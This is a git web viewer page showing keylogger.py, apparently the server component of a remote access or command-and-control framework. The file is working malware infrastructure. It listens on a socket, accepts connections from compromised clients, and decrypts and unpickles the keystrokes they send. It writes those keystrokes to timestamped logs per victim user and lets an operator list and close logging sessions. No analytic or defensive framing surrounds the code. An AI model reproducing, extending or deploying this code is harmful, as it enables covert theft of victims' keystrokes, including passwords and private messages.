summaryrefslogtreecommitdiff
path: root/Modules/Servers/keylogger.py
blob: 7d6f337489658087063afc3b50584d5113be212c (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
import socket
import pickle
import zlib
import time

from Utilities.db_queries import get_module_data
from Specific.encrypt import Encryption
from sys import exit

try:
	info = get_module_data()
	keylogger_settings = []
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.bind((info[1], int(info[3].split(',')[3])))
	s.listen()
except:
	exit(0)


def keylogger_info():
	info = '\n'
	
	for index, setting in enumerate(keylogger_settings):
		info += f'    - {setting[0]}[{index}]'
		if len(keylogger_settings) > 1 and index + 1 != len(keylogger_settings):
			info += '\n'
	
	if len(keylogger_settings) == 0:
		info = 'False'
		
	return info


def set_keylogger_settings(index):
	global keylogger_settings

	try:
		if index == '*':
			for keylogger_setting in keylogger_settings:
				keylogger_setting[1].close()
			return 'Keyloggers closed!'
		else:
			keylogger_settings[int(index)][1].close()
			return 'Keylogger closed!'
	except:
		return 'Keylogger failed to close.'


def get_logs(index):
	try:
		with open(keylogger_settings[index][3], 'r') as f:
			return (keylogger_settings[index][0], f.read())
	except:
		return None


def Keylogger(encoding, path, user):
	try:
		global keylogger_settings

		fn = f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.txt'
		first = True
		headersize = 10
		new_msg = True
		msg_len = 0
		full_msg = b''
		msg = b'next'

		e = Encryption()
		client, addr = s.accept()

		u = (user, client, addr, fn)
		keylogger_settings.append(u)


		with open(fn, 'a') as f:
			f.write(f'Logging key strokes of {user}...  [{time.strftime("%Y-%m-%d (%H-%M-%S)")}]\n\n')
			f.flush()

			real_msg = pickle.dumps(msg)
			real_msg = zlib.compress(real_msg, 1)
			real_msg = e.do_encrypt(real_msg)
			final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
			client.send(final_msg)

			while True:
				client_msg = client.recv(1024)

				if new_msg:
					msg_len = int(client_msg[:headersize])
					new_msg = False

				full_msg += client_msg

				if len(full_msg)-headersize == msg_len:
					log = e.do_decrypt(full_msg[headersize:])
					log = zlib.decompress(log)
					log = pickle.loads(log)

					result = ''
					key = log.replace("'", '')
					t = time.strftime("%Y-%m-%d (%H-%M-%S): ")

					if first:
						if 'Key.space' not in log or 'Key.enter' not in log:
							result = t
						first = False
					
					if len(key) > 1:
						result += f'[{key}]'  
					else:
						result += key

					if 'Key.space' in log or 'Key.enter' in log:
						result = f'\n{t}{result}' 
					
					f.write(result)
					f.flush()

					real_msg = pickle.dumps(msg)
					real_msg = zlib.compress(real_msg, 1)
					real_msg = e.do_encrypt(real_msg)
					final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
					client.send(final_msg)
					
					new_msg = True
					msg_len = 0
					full_msg = b''
	except:
		keylogger_settings.remove(u)
		exit(0)